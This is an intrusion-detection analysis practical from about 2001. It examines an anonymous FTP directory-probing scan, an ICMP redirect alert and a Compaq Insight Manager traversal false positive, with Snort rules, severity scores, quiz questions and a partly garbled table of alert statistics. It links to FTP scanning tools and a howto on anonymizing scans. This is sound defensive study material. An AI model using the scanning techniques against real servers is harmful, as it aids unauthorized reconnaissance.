AOorleans-201-1-3-70.abo.wanadoo.fr UNKNOWN ftp [08/Dec/2001:03:42:06 -0500] "CWD /public" 550 -
AOorleans-201-1-3-70.abo.wanadoo.fr UNKNOWN ftp [08/Dec/2001:03:42:06 -0500] "CWD /temp" 550 -
AOorleans-201-1-3-70.abo.wanadoo.fr UNKNOWN ftp [08/Dec/2001:03:42:08 -0500] "MKD 011208094156p" 550 -
AOorleans-201-1-3-70.abo.wanadoo.fr UNKNOWN ftp [08/Dec/2001:03:42:08 -0500] "CWD /anonymous/ vti_pwt" 550 -
AOorleans-201-1-3-70.abo.wanadoo.fr UNKNOWN ftp [08/Dec/2001:03:42:08 -0500] "CWD /anonymous/incoming" 550 -
AOorleans-201-1-3-70.abo.wanadoo.fr UNKNOWN ftp [08/Dec/2001:03:42:08 -0500] "CWD /mp" 550 -
AOorleans-201-1-3-70.abo.wanadoo.fr UNKNOWN ftp [08/Dec/2001:03:42:09 -0500] "CWD /anonymous/pub" 550 -
AOorleans-201-1-3-70.abo.wanadoo.fr UNKNOWN ftp [08/Dec/2001:03:42:09 -0500] "CWD /ftproot" 550 -
AOorleans-201-1-3-70.abo.wanadoo.fr UNKNOWN ftp [08/Dec/2001:03:42:09 -0500] "CWD /mailroot" 550 -
AOorleans-201-1-3-70.abo.wanadoo.fr UNKNOWN ftp [08/Dec/2001:03:42:10 -0500] "CWD /private" 550 -
AOorleans-201-1-3-70.abo.wanadoo.fr UNKNOWN ftp [08/Dec/2001:03:42:10 -0500] "CWD /_vti_cnf" 550 -
AOorleans-201-1-3-70.abo.wanadoo.fr UNKNOWN ftp [08/Dec/2001:03:42:10 -0500] "CWD /anonymous/public" 550 -
AOorleans-201-1-3-70.abo.wanadoo.fr UNKNOWN ftp [08/Dec/2001:03:42:10 -0500] "CWD /images" 550 -
AOorleans-201-1-3-70.abo.wanadoo.fr UNKNOWN ftp [08/Dec/2001:03:42:11 -0500] "CWD /cgi-bin" 550 -
AOorleans-201-1-3-70.abo.wanadoo.fr UNKNOWN ftp [08/Dec/2001:03:42:11 -0500] "CWD /cgi-bin" 550 -
AOorleans-201-1-3-70.abo.wanadoo.fr UNKNOWN ftp [08/Dec/2001:03:42:12 -0500] "CWD /usr" 550 -
AOorleans-201-1-3-70.abo.wanadoo.fr UNKNOWN ftp [08/Dec/2001:03:42:12 -0500] "CWD /usr/incoming" 550 -
AOorleans-201-1-3-70.abo.wanadoo.fr UNKNOWN ftp [08/Dec/2001:03:42:13 -0500] "CWD /home" 550 -
Dec 08 03:42:13 host prolfpd[21112] host (AOorleans-201-1-3-70.abo.wanadoo.fr)[80.13.82.70]): FTP session closed.

1. Source of Trace.

This Trace was found on the incidents.org archive.
http://www.incidents.org/archives/intrusions/msg02821.html
It was posted on the 10th of December 2001 and is from the day of the 7th of December 2001.

2. Detect was generated by:

proftpd log files. The format is pretty straightforward
<date/time> <target host> <source of error/alert> <Alert message>
>alert info>

3. Probability the source address was spoofed:
The host address is most likely not spoofed but could be otherwise compromised or acting as a proxy for someone else. DSL modems can often be used to bounce attacks from another machine (by proxy or simply by being trojaned).

4. Description of attack:

Somebody seems to be scanning a whole range of IP’s and is attempting to connect anonymously to the ftp daemon. Once a connection is established, it then tries a whole bunch of directories in the hope of finding one that is writeable.

5. Attack mechanism:

The attack mechanism is pretty straightforward. Scan IP's, try to connect anonymously by ftp and once connected, attempt to create a directory.

Let's analyse the logs more closely:

Dec  7 23:00:16 hostsa ftpd[20566]: refused connect from AOrleans-201-1-3-70.abo.wanadoo.fr
Dec  7 23:00:16 hostz ftpd[22467]: refused connect from AOrleans-201-1-3-70.abo.wanadoo.fr
Dec  7 23:00:16 hostt ftpd[19928]: refused connect from AOrleans-201-1-3-70.abo.wanadoo.fr
Dec  7 23:01:09 hostsa in.ftpd[28908]: refused connect from AOrleans-201-1-3-70.abo.wanadoo.fr
Dec  7 23:01:09 hostsa in.ftpd[28909]: refused connect from AOrleans-201-1-3-70.abo.wanadoo.fr
Dec  7 23:01:12 hostsa in.ftpd[28910]: refused connect from AOrleans-201-1-3-70.abo.wanadoo.fr
Dec  7 23:01:12 hostsa in.ftpd[28911]: refused connect from AOrleans-201-1-3-70.abo.wanadoo.fr

There are attempts to connect by ftp to the 4 machines (hostsa, hostz, hostt, hostca) from the same intruder (AOrleans-201-1-3-70.abo.wanadoo.fr). Connections where refused most probably due to the fact that those machines don't allow anonymous ftp connections. This is highly indicative that these probes are scripted since there were 3 login attempts at the same time.

Dec 07 23:00:16 hostl proftpd[18815] hostl (AOrleans-201-1-3-70.abo.wanadoo.fr[80.13.82.70]): FTP session opened.
Dec 07 23:00:17 hostl proftpd[18815] hostl (AOrleans-201-1-3-70.abo.wanadoo.fr[80.13.82.70]): ANON anonymous: Login successful.
Dec 07 23:00:17 hostl proftpd[18815] hostl (AOrleans-201-1-3-70.abo.wanadoo.fr[80.13.82.70]): FTP session closed.

Successful anonymous connection but the connection is terminated right away.

Dec 08 03:41:53 hostl proftpd[21112] hostl (AOrleans-201-1-3-70.abo.wanadoo.fr[80.13.82.70]): FTP session opened.
Dec 08 03:41:57 hostl proftpd[21112] hostl (AOrleans-201-1-3-70.abo.wanadoo.fr[80.13.82.70]): ANON anonymous: Login successful.

Around 5 hours later, another connection is made, and this time, the attacker is trying different things. Here is a link to FTP codes that give the status of the ftp queries: http://www.ftpplanet.com/ftpresources/ftp_codes.htm.

Here are brief explanations of what is being attempted:

AOrleans-201-1-3-70.abo.wanadoo.fr UNKNOWN ftp [08/Dec/2001:03:41:57 -0500] "CWD /pub/" 250 -

250 Requested file action okay, completed --> Directory /pub/ exists and is accessible.

AOrleans-201-1-3-70.abo.wanadoo.fr UNKNOWN ftp [08/Dec/2001:03:41:57 -0500] "PASS Ngpuser@home.com" 230 -
230 User logged in, proceed. Logged out if appropriate. -> password is accepted and is in the valid format.


550 = Requested action not taken. File unavailable (e.g., file not found, no access). Those 2 directories don't exist or are inaccessible by an anonymous user.


550 = Requested action not taken. File unavailable (e.g., file not found, no access).

The attacker is still in the /pub/ directory. He attempts to create a directory called 011208094152p (possibly the current date and time of the attacker. You can note that the +6 hour time zone difference matches with the location of the attacker (France). This is also indicative that this whole attack is scripted.

AOrlens-201-1-3-70.abo.wanadoo.fr UNKNOWN ftp [08/Dec/2001:03:42:02 -0500] "CWD /incoming/" 250 -
AOrlens-201-1-3-70.abo.wanadoo.fr UNKNOWN ftp [08/Dec/2001:03:42:03 -0500] "CWD /" 250 -

250 Requested file action okay, completed -> Directory /incoming/ and / exist and are accessible.

AOrlens-201-1-3-70.abo.wanadoo.fr UNKNOWN ftp [08/Dec/2001:03:42:03 -0500] "CWD /_vti_pvt/" 550 -

550 = Requested action not taken. File unavailable (e.g., file not found, no access).

/_vti_pvt is not accessible. This directory is often associated with windows/IIS. This is also indicative that the whole thing is scripted considering that proftpd is being used by the target.

AOrlens-201-1-3-70.abo.wanadoo.fr UNKNOWN ftp [08/Dec/2001:03:42:03 -0500] "MKD 011208094157p" 550 -

Try to create a directory and fail.

AOrlens-201-1-3-70.abo.wanadoo.fr UNKNOWN ftp [08/Dec/2001:03:42:04 -0500] "CWD /_vti_pvt/" 550 -
AOrlens-201-1-3-70.abo.wanadoo.fr UNKNOWN ftp [08/Dec/2001:03:42:04 -0500] "CWD /_vti_txt/" 550 -
AOrlens-201-1-3-70.abo.wanadoo.fr UNKNOWN ftp [08/Dec/2001:03:42:04 -0500] "CWD/upload/" 550 -
AOrlens-201-1-3-70.abo.wanadoo.fr UNKNOWN ftp [08/Dec/2001:03:42:04 -0500] "MKD 011208094158p" 550 -
AOrlens-201-1-3-70.abo.wanadoo.fr UNKNOWN ftp [08/Dec/2001:03:42:05 -0500] "CWD /_vti_log/" 550 -
AOrlens-201-1-3-70.abo.wanadoo.fr UNKNOWN ftp [08/Dec/2001:03:42:05 -0500] "CWD /anonymous/" 550 -
AOrlens-201-1-3-70.abo.wanadoo.fr UNKNOWN ftp [08/Dec/2001:03:42:05 -0500] "CWD /_private/" 550 -
AOrlens-201-1-3-70.abo.wanadoo.fr UNKNOWN ftp [08/Dec/2001:03:42:05 -0500] "CWD /mailroot/" 550 -
AOrlens-201-1-3-70.abo.wanadoo.fr UNKNOWN ftp [08/Dec/2001:03:42:06 -0500] "CWD /_private/" 550 -
AOrlens-201-1-3-70.abo.wanadoo.fr UNKNOWN ftp [08/Dec/2001:03:42:06 -0500] "CWD /_vti_conf/" 550 -
AOrlens-201-1-3-70.abo.wanadoo.fr UNKNOWN ftp [08/Dec/2001:03:42:08 -0500] "CWD /anonymous/ _vti_pvt/" 550 -
AOrlens-201-1-3-70.abo.wanadoo.fr UNKNOWN ftp [08/Dec/2001:03:42:08 -0500] "CWD /anonymous/incoming/" 550 -
AOrlens-201-1-3-70.abo.wanadoo.fr UNKNOWN ftp [08/Dec/2001:03:42:08 -0500] "CWD /upload/" 550 -
AOrlens-201-1-3-70.abo.wanadoo.fr UNKNOWN ftp [08/Dec/2001:03:42:09 -0500] "CWD /anonymous/pub/" 550 -
AOrlens-201-1-3-70.abo.wanadoo.fr UNKNOWN ftp [08/Dec/2001:03:42:09 -0500] "CWD /ftproot/" 550 -
AOrlens-201-1-3-70.abo.wanadoo.fr UNKNOWN ftp [08/Dec/2001:03:42:09 -0500] "CWD /mailroot/" 550 -
AOrlens-201-1-3-70.abo.wanadoo.fr UNKNOWN ftp [08/Dec/2001:03:42:10 -0500] "CWD /_private/" 550 -
AOrlens-201-1-3-70.abo.wanadoo.fr UNKNOWN ftp [08/Dec/2001:03:42:10 -0500] "CWD /_vti_conf/" 550 -
AOrlens-201-1-3-70.abo.wanadoo.fr UNKNOWN ftp [08/Dec/2001:03:42:10 -0500] "CWD /anonymous/public/" 550 -
AOrlens-201-1-3-70.abo.wanadoo.fr UNKNOWN ftp [08/Dec/2001:03:42:10 -0500] "CWD /images/" 550 -
AOrlens-201-1-3-70.abo.wanadoo.fr UNKNOWN ftp [08/Dec/2001:03:42:11 -0500] "CWD /cgi-bin/" 550 -
AOrlens-201-1-3-70.abo.wanadoo.fr UNKNOWN ftp [08/Dec/2001:03:42:11 -0500] "CWD /cgi-bin/" 550 -
Again, all of these are failed attempts to discover writeable/accessible directories. The attacker uses many common and known directory names in the hope that one of them will allow him proper access (World writeable preferably). All in all this looks like an attempt to find poorly configured ftp servers in the hope of potentially using them as "warez" repositories or for any other use (Mp3, Movies, etc...). There is also the potential that this script is attempting to find writeable directories in the hope of exploiting old ftp vulnerability (http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0950) but this doesn't look like it is the case. After a little more research on what kind of tool the attacker could be using, I found the following ones:

http://www.ftpscanner.com/omegascanner.htm (Omega scanner)
http://grimsping.cjb.net/ (Grim's Ping)
http://www.ftpscanner.com/rfs.htm (Remote Ftp scanner)

And here's a Howto on pub scanning: http://www.jestrix.net/tuts/scan.html
Howto to help you anonymize your scans: http://www.securax.org/ZC/anon/

After reading all of this, I came to the conclusion that this is most likely just a simple attempt to find public directories, for what purpose exactly, only the attacker knows :).

6. Correlations:

This specific detect is attributed to Laurie Zirkle who posted her logs on the incidents.org archive. After a little digging, I found other similar attempts. Here are the links to the other attempts:

http://www.incidents.org/archives/intrusions/msg02611.html
http://www.incidents.org/archives/intrusions/msg02649.html
http://www.incidents.org/archives/intrusions/msg02483.html

All those probes follow the same pattern and are quite similar indicating that they all might be using the same tool or at the least the same kind of tool. This type of scans are actually somewhat common these days, and if your not careful, you might wake up one morning and find out that your hard drives are full.

7. Evidence of active targeting:

This specific scan (and the others) where most likely part of a large sweep of ftp servers. There is no real evidence that this was a specific attack on these particular systems.

8. Severity:
Severity = (Criticality + Lethality) - (System Countermeasures + Network Countermeasures)
(4 + 4) - (3 + 2) = 3

Criticality: This system is an anonymous ftp server. This is often the target of attacks due to the quantity of known exploits on ftp servers. If this machine is compromised by an ftp exploit, it could open a door to other machines on the network. Basically, this is an open door and anyone can just walk in and look around. In that case, one should make sure that there's nothing worth stealing and that everything is bolted to the floor and secured :). (4)

Lethality: This particular attack is quite common especially on anonymous ftp servers. If the attack were successful, you would most likely see a dramatic increase in bandwidth usage and use of hard drive space by external addresses. Those effects aren't really lethal but can be annoying. This being said, another script could have probed the server for ftp vulnerabilities and the consequences would have been dramatic if one was found. So in general, due to the risk of running an anonymous ftp server the Lethality is (4)

System Countermeasures: The ftp server seems to be secure and resisted all attempts to find miss-configured directories. (3)

Network Countermeasures: Leaving free access from the Internet to an anonymous ftp server is a security risk. This machine should be watched very carefully (2)

9. Defensive recommendation:

Defences seem to be fine considering that all the scans where unsuccessful. In general, running an Anonymous ftp server is not recommended but if it is required, you should watch closely your logs and make sure that there are no miss configurations. You should also raise the severity of the ftp alerts that are generated by your IDS and all attempts to compromise this machine should be investigated closely.

10. Multiple choice test question:

What are some of the indications that this was an automated attack?

a) The attack was done early in the morning
b) The attack was done from a DSL modem.
c) The attack seemed to followed a set list of actions and a lot of attempts where made at the same time.
d) The attack was aimed at an ftp server.

Answer: c) The fact that a lot of servers where probed at the same time, the fact that generic directories where scanned and the format of the directory the script attempted to create all indicate that this was automated.
Detect #4 ICMP Redirect network

0. Alert Message

[**] ICMP redirect net [**]
[Classification: Potentially Bad Traffic] [Priority: 2]
ICMP TTL:233 TOS:0x0 ID:1551 IpLen:20 DgmLen:56
Type:5 Code:0 REDIRECT
[Xref => http://www.whitehats.com/info/IDS199]
[Xref => http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0265]

ICMP TTL:233 TOS:0x0 ID:1551 IpLen:20 DgmLen:56
Type:5 Code:0 REDIRECT
45 00 00 4E 39 8C 00 00 5E 11 09 11 XX XX XX XX E..N9...^....
D2 97 63 7F 00 89 00 89 00 3A 83 A2 ..c......

The packet content had to be filtered out due to the fact that it showed the destination Address in hex.

whois -h whois.nic.ad.jp 210.151.96.65 /e

Network Information:
a. [Network Number] 210.151.96.0-210.151.99.0
b. [Network Name] Y-EIWA-NET
g. [Organization] YAMANASHI EIWA GAKUIN
m. [Administrative Contact] SY047JP
n. [Technical Contact] SY047JP
p. [Nameserver] www.y-eiwa.ac.jp
p. [Nameserver] ns.yamanashi.ac.jp
y. [Reply Mail]
[Assigned Date] 1998/12/24
[Return Date]
[Last Update] 1999/01/27 15:33:00 (JST)
shigeri@y-eiwa.ac.jp

1. Source of Trace.
This trace comes from a client (Small ISP) of my Employer.

2. Detect was generated by:
Snort intrusion detection system Version 1.8.1 running on OpenBSD 2.9
The rule is :

alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"ICMP redirect net";itype:5;icode:0; reference:arachnids,199; reference:cve,CVE-1999-0265;)

Explanation: Look for any ICMP packets coming from an external address to an internal address with an ICMP type field set to 5 (ICMP_REDIRECT) and ICMP code of 0
(Redirect datagrams for the Network). Check http://www.faqs.org/rfcs/rfc792.html or the Snort decode.h file for details.

3. Probability the source address was spoofed:

There are good chances that the ICMP packet was spoofed. Potential attackers can generally spoof ICMP packets to create fake error conditions, cause network disturbances, break connections or reroute packets to a different route.

4. Description of attack:

An ICMP redirect packet was sent to the local machine and can potentially cause networking havoc especially in embedded controllers. This can potentially cause a traffic storm between the source and destination. In general ICMP Redirect messages are used to configure routing tables. Normally, they are used to reconfigure the tables to minimise travel time by using the best path possible. Unfortunately, they can also be used to reroute traffic to a different destination and can then be monitored by a third party (Especially in the case of FTP and telnet session that send password in clear text).

5. Attack mechanism:

I found a small description on how the attack works on the embedded controllers here: http://www.sans.org/y2k/090100.htm by Donald McLachlan. Basically, it creates a ping-pong effect between the 2 machines. There are also other ways to exploit ICMP Redirect packets especially if the packets are used to redirect traffic to an unknown destination.

6. Correlations:

These types of packets are still being detected. Most firewalls should automatically block ICMP Redirect requests from external addresses. Its use is very limited outside of local networks. Recently this type of traffic has been seen by Laurie Zirkle as mentioned in this Thread: http://www.incidents.org/archives/intrusions/msg02396.html and by Donald McLachlan as mentioned here: http://www.sans.org/y2k/090100.htm.

7. Evidence of active targeting:

This could be a very specific attempt to redirect traffic and then sniff the connection but it doesn't seem to have worked. No other alerts where detected between the 2 machines and this seemed to be a somewhat isolated occurrence. This was doesn't seem to be part of a large sweep.

8. Severity
Severity = (Criticality + Lethality) - (System Countermeasures + Network Countermeasures)  
(5 + 3) - (4 + 2) = 2

Criticality: The machine could have been sniffed and the attacker could have gathered critical information by listening on telnet or ftp sessions (5)

Lethality: The potential to reroute traffic is there, the odds that the destination machine will actually comply or that it is an actual embedded controller (if it’s a DOS attack) are slim (3)

System Countermeasures: Basic measures where taken on the machine (4)

Network Countermeasures: ICMP Redirect packet got to his destination (2)

9. Defensive recommendation:

The simplest way to fix this potential abuse is to simply refuse all ICMP Redirect packets. Then they will have no effect on the routing tables of your routers/gateways. Stopping all propagation to external addresses of these types of packets would also be advisable. The risks far outweigh the potential benefits. Embedded controllers that are attached to a TCP/IP network should be tested for this vulnerability.

10. Multiple choice test question:

Why are ICMP Redirect packets normally used?

a) They are sent by routers to optimize the route taken by future IP packets  
b) They are used to relay information to other destinations.  
c) They are used to find the best route possible.  
d) They are used to count the number of Hops between 2 machines.


Detect #5 WEB-MISC compaq nsight directory traversal

0. Alert Message

[**] WEB-MISC compaq nsight directory traversal [**]  
[Classification: Attempted Information Leak] [Priority: 3]  
12/01-17:39:59.826994 207.96.182.245:80 -> XXX.XXX.XXX.XXX:2301  
TCP TTL:49 TOS:0x0 ID:60097 IpLen:20 DgmLen:576 DF  
***AP*** Seq: 0xD6FA45A2 Ack: 0x392D68 Win: 0x7FB8 TcpLen: 20  
[Xref => http://www.securityfocus.com/bid/282]
12/01-17:39:59.987715 207.96.182.245:80 -> XXX.XXX.XXX.XXX:2301
TCP TTL:49 TOS:0x0 ID:60121 IpLen:20 DgmLen:576 DF
***AP*** Seq: 0xD6FA47BA Ack: 0x392D68 Win: 0x7FB8 TcpLen: 20
[Xref => http://www.securityfocus.com/bid/282]
[Xref => http://www.whitehats.com/info/IDS244]
[Xref => http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0771]

12/01-17:39:59.826994 207.96.182.245:80 -> XXX.XXX.XXX.XXX:2301
TCP TTL:49 TOS:0x0 ID:60097 IpLen:20 DgmLen:576 DF
***AP*** Seq: 0xD6FA45A2 Ack: 0x392D68 Win: 0x7FB8 TcpLen: 20
[Xref => http://www.securityfocus.com/bid/282]
[Xref => http://www.whitehats.com/info/IDS244]
[Xref => http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0771]
1. Source of Trace.

This trace comes from a client (Small ISP) of my Employer.

2. Detect was generated by:

Snort intrusion detection system Version 1.8.1 running on OpenBSD 2.9

The rule is:

```
alert tcp $EXTERNAL_NET any -> $HOME_NET 2301 (msg:"WEB-MISC compaq nsight directory traversal"; content: "./"; reference:arachnids,244; reference:cve,CVE-1999-0771;)
```

Explanation: Look for packets coming from an external address from any port to an internal address on port 2301. If the packet content contains the characters "./", Emit an alert.
3. **Probability the source address was spoofed:**

After reviewing the packet content, the fact that the source port is 80 (http) and that the IP address is correct, it would seem that this is legitimate traffic.

4. **Description of attack:**

Compaq Management Agents and the Compaq Survey Utility when used as an agent have a vulnerability that allows anyone to access local files, if they know the name and the location. The web server that allows remote configurations has a file permission vulnerability and, if the URL is carefully crafted, it allows anyone to remotely read any file on the system.

Vulnerable Systems:
Compaq Server and Client Management Agents V4.0 and up
Compaq Survey Utility V2.0 and up

5. **Attack mechanism:**

Compaq's Insight Manager offers web access to its devices that allows remote configurations and is listening on port 2301. If an attacker crafts an URL correctly, he can have access to files he shouldn't be allowed to get to. Due to the fact that the web server contained in the agents doesn't always check if a document is allowed to be accessed (by using ../ in the URL) any file can potentially be read. A detailed description can be found here: [http://www.securityfocus.com/cgi-bin/vulns-item.pl?section=discussion&id=282](http://www.securityfocus.com/cgi-bin/vulns-item.pl?section=discussion&id=282)


After examining the packet content, I came to the conclusion that this was a false positive. The content of the packet seem legit. This is communication from port 80 to a valid port above 1024 (2301 in this case) and it indicates that this is legit http traffic. The fact that there is an occurrence of the "/./" characters in the text and that the destination port was 2301 made the alert go off. There is also the possibility of a Denial of Service attack if the attack was really going to a Compaq Manager. The Snort rule used is somewhat general and should be removed if nobody is using Compaq's Insight Manager on the network. Other false positives of this kind may be triggered in the future.

6. **Correlations:**

This looks like an isolated incident and the alert was triggered by chance. If the destination port weren’t equal to 2301 (could have been anything above 1024), it would have gone through unnoticed. This is another example of the importance of examining packet contents before jumping to conclusions.

7. **Evidence of active targeting:**
False positive. A user was simply browsing a web page and the alert was triggered.

8. **Severity:**

\[
\text{Severity} = (\text{Criticality} + \text{Lethality}) - (\text{System Countermeasures} + \text{Network Countermeasures})
\]

\[
(3 + 0) - (5 + 1) = -3
\]

**Criticality:** The machine is a simple desktop (3)

**Lethality:** The importance of the information that can be gathered if the machine was actually running the web server is very high but this was not the case (0)

**System Countermeasures:** The machine wasn’t running the vulnerable software (5)

**Network Countermeasures:** There were no network countermeasures present that would have stopped the potential breach. (1)

9. **Defensive recommendation:**

If nobody on the network is running Compaq Management Agents, then there is nothing to worry about. If that is not the case, patching to the latest version is recommended. More info on workarounds and patches can be found here:


10. **Multiple choice test question:**

What was the reason the alert went off?

a) Somebody was trying to access an unauthorised file from the Compaq management web server
b) There was traffic from an external machine to an internal machine on port 2301 and the packet contained "/../"
c) There was traffic from an internal machine to an external machine on port 2301 and the packet contained "/../"
d) There was traffic seen from port 80 to port 2301 only.

Answer b) There were several separate events that caused the alert to go off:
The Snort rule looks for packets coming from an external address from any port to an internal address on port 2301. If the packet content contains the characters "/../", it emits an alert.

**Assignment 3 - "Analyze This" Scenario**

**Overview of analysis.**
I tried to examine the most important alerts generated during the time span. Due to limitations on the maximum length of this practical, I had to limit some analysis to the most critical alerts. I separated my analysis in the different category of log files and tried to get a general view of the events. All alerts should be investigated further and careful analysis of the packets that triggered these alerts will give a better indication on the seriousness of the alert and if it is real or not.

**List of log files.**

I choose to analyze the log files for the period of the 26th of December to the 30th of December 2001. Here is the list of files I used:

Alert.011226.gz  
Alert.011227.gz  
Alert.011228.gz  
Alert.011229.gz  
Alert.011230.gz  

Oos_Dec.27.2001.gz  

Scans.011226.gz  
Scans.011227.gz  
Scans.011228.gz  
Scans.011229.gz  
Scans.011230.gz  

**Top Attackers for Alerts (184932 alerts)**

<table>
<thead>
<tr>
<th>Percentage</th>
<th>Number</th>
<th>Attacker</th>
</tr>
</thead>
<tbody>
<tr>
<td>20.30</td>
<td>37536</td>
<td>Watchlist 000220 IL-ISDNNET-990517</td>
</tr>
<tr>
<td>5.81</td>
<td>10746</td>
<td>MISC Large UDP Packet</td>
</tr>
<tr>
<td>4.47</td>
<td>8258</td>
<td>MY.NET.5.13 ICMP Source Quench</td>
</tr>
<tr>
<td>2.65</td>
<td>4895</td>
<td>206.65.191.129 Queso fingerprint</td>
</tr>
<tr>
<td>2.52</td>
<td>4665</td>
<td>65.165.14.43 SCAN Proxy attempt</td>
</tr>
<tr>
<td>1.66</td>
<td>3071</td>
<td>65.207.94.30 ICMP Destination Unreachable (Communication Administratively Prohibited)</td>
</tr>
<tr>
<td>1.56</td>
<td>2885</td>
<td>147.46.59.144 ICMP Echo Request BSDtype</td>
</tr>
<tr>
<td>1.39</td>
<td>2563</td>
<td>141.213.11.120 ICMP Echo Request BSDtype</td>
</tr>
<tr>
<td>1.32</td>
<td>2445</td>
<td>128.223.4.21 ICMP Echo Request BSDtype</td>
</tr>
<tr>
<td>0.95</td>
<td>1758</td>
<td>MY.NET.60.39 ICMP Echo Request BSDtype</td>
</tr>
</tbody>
</table>

**Top Attackers for Scans (444097 total packets)**
Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46

Top Attackers for OOS (160 total packets)

<table>
<thead>
<tr>
<th>Percentage</th>
<th>Number</th>
<th>Attacker</th>
</tr>
</thead>
<tbody>
<tr>
<td>25.63</td>
<td>41</td>
<td>199.183.24.194</td>
</tr>
<tr>
<td>23.13</td>
<td>37</td>
<td>24.219.121.208</td>
</tr>
<tr>
<td>14.38</td>
<td>23</td>
<td>65.105.159.22</td>
</tr>
<tr>
<td>4.38</td>
<td>7</td>
<td>217.226.42.119</td>
</tr>
<tr>
<td>3.13</td>
<td>5</td>
<td>141.157.92.22</td>
</tr>
<tr>
<td>3.13</td>
<td>5</td>
<td>202.75.185.186</td>
</tr>
<tr>
<td>2.50</td>
<td>4</td>
<td>206.103.97.87</td>
</tr>
<tr>
<td>2.50</td>
<td>4</td>
<td>213.239.132.80</td>
</tr>
<tr>
<td>1.88</td>
<td>3</td>
<td>204.228.228.145</td>
</tr>
<tr>
<td>1.25</td>
<td>2</td>
<td>216.119.141.202</td>
</tr>
<tr>
<td>1.25</td>
<td>2</td>
<td>217.230.17.77</td>
</tr>
<tr>
<td>1.25</td>
<td>2</td>
<td>24.229.235.159</td>
</tr>
<tr>
<td>1.25</td>
<td>2</td>
<td>65.129.37.67</td>
</tr>
</tbody>
</table>

Alert analysis

Here is the list of attacks detected by Snort for the time period. The alerts are prioritized by number of occurrence and a small description follows the statistics.

List of Detects and Short explanations (from most frequent to least frequent).

<table>
<thead>
<tr>
<th>Signatures</th>
<th># Alerts</th>
<th># Sources</th>
<th># Destinations</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Watchlist 000220 IL-ISDNNET-990517</td>
<td>38204</td>
<td>22</td>
<td></td>
<td>16 Suspicious traffic from an ISDN network in Israel</td>
</tr>
<tr>
<td>MISC traceroute</td>
<td>26356</td>
<td>69</td>
<td></td>
<td>8 Traceroute detected</td>
</tr>
<tr>
<td>CS WEBSERVER - external web traffic</td>
<td>24280</td>
<td>3641</td>
<td></td>
<td>1 External web traffic has been seen</td>
</tr>
<tr>
<td>MISC source port 53 to &lt;1024</td>
<td>17224</td>
<td>4561</td>
<td></td>
<td>10 Traffic from source port 53 (DNS) to low port (below standard 1024)</td>
</tr>
<tr>
<td>Event Description</td>
<td>Value 1</td>
<td>Value 2</td>
<td></td>
<td></td>
</tr>
<tr>
<td>--------------------------------------------------------</td>
<td>----------</td>
<td>----------</td>
<td></td>
<td></td>
</tr>
<tr>
<td>MISC Large UDP Packet</td>
<td>11142</td>
<td>23</td>
<td></td>
<td></td>
</tr>
<tr>
<td>WEB-MISC prefix-get //</td>
<td>10520</td>
<td>516</td>
<td></td>
<td></td>
</tr>
<tr>
<td>ICMP Echo Request BSDpyre</td>
<td>9787</td>
<td>24</td>
<td></td>
<td></td>
</tr>
<tr>
<td>ICMP Source Quench</td>
<td>8339</td>
<td>19</td>
<td></td>
<td></td>
</tr>
<tr>
<td>INFO MSN IM Chat data</td>
<td>7378</td>
<td>112</td>
<td></td>
<td></td>
</tr>
<tr>
<td>SCAN Proxy attempt</td>
<td>5709</td>
<td>52</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Queso fingerprint</td>
<td>5096</td>
<td>32</td>
<td></td>
<td></td>
</tr>
<tr>
<td>ICMP Destination Unreachable (Communication Administratively Prohibited)</td>
<td>4082</td>
<td>52</td>
<td></td>
<td></td>
</tr>
<tr>
<td>ICMP Destination Unreachable (Host Unreachable)</td>
<td>3138</td>
<td>212</td>
<td></td>
<td></td>
</tr>
<tr>
<td>ICMP Echo Request Nmap or HPING2</td>
<td>1573</td>
<td>15</td>
<td></td>
<td></td>
</tr>
<tr>
<td>ICMP Fragment Reassembly Time Exceeded</td>
<td>1538</td>
<td>13</td>
<td></td>
<td></td>
</tr>
<tr>
<td>INFO FTP anonymous FTP</td>
<td>1126</td>
<td>145</td>
<td></td>
<td></td>
</tr>
<tr>
<td>SMB Name Wildcard</td>
<td>992</td>
<td>83</td>
<td></td>
<td></td>
</tr>
<tr>
<td>ICMP Destination Unreachable (Protocol Unreachable)</td>
<td>794</td>
<td>10</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Watchlist 000222 NET-NCFC</td>
<td>657</td>
<td>13</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Tiny Fragments - Possible Hostile Activity</td>
<td>588</td>
<td>6</td>
<td></td>
<td></td>
</tr>
<tr>
<td>WEB-MISC Attempt to execute cmd</td>
<td>535</td>
<td>43</td>
<td></td>
<td></td>
</tr>
<tr>
<td>INFO Inbound GNU/Tella Connect accept</td>
<td>420</td>
<td>11</td>
<td></td>
<td></td>
</tr>
<tr>
<td>ICMP Router Selection</td>
<td>408</td>
<td>42</td>
<td></td>
<td></td>
</tr>
<tr>
<td>WEB-MISC 403 Forbidden</td>
<td>397</td>
<td>9</td>
<td></td>
<td></td>
</tr>
<tr>
<td>External RPC call</td>
<td>393</td>
<td>1</td>
<td></td>
<td></td>
</tr>
<tr>
<td>INFO Possible IRC Access</td>
<td>378</td>
<td>31</td>
<td></td>
<td></td>
</tr>
<tr>
<td>spp_http_decode: IIS Unicode attack detected</td>
<td>368</td>
<td>66</td>
<td></td>
<td></td>
</tr>
<tr>
<td>ICMP Echo Request Windows</td>
<td>295</td>
<td>64</td>
<td></td>
<td></td>
</tr>
<tr>
<td>ICMP traceroute</td>
<td>292</td>
<td>76</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Null scan!</td>
<td>283</td>
<td>75</td>
<td></td>
<td></td>
</tr>
<tr>
<td>TCP SRC and DST outside network</td>
<td>233</td>
<td>21</td>
<td></td>
<td></td>
</tr>
<tr>
<td>TELNETLogin incorrect</td>
<td>220</td>
<td>11</td>
<td></td>
<td></td>
</tr>
<tr>
<td>NMAP TCP ping!</td>
<td>183</td>
<td>26</td>
<td></td>
<td></td>
</tr>
<tr>
<td>FTP DoS ftpd globbing</td>
<td>159</td>
<td>6</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Port 55850 tcp - Possible myserver activity - ref. 010313-1</td>
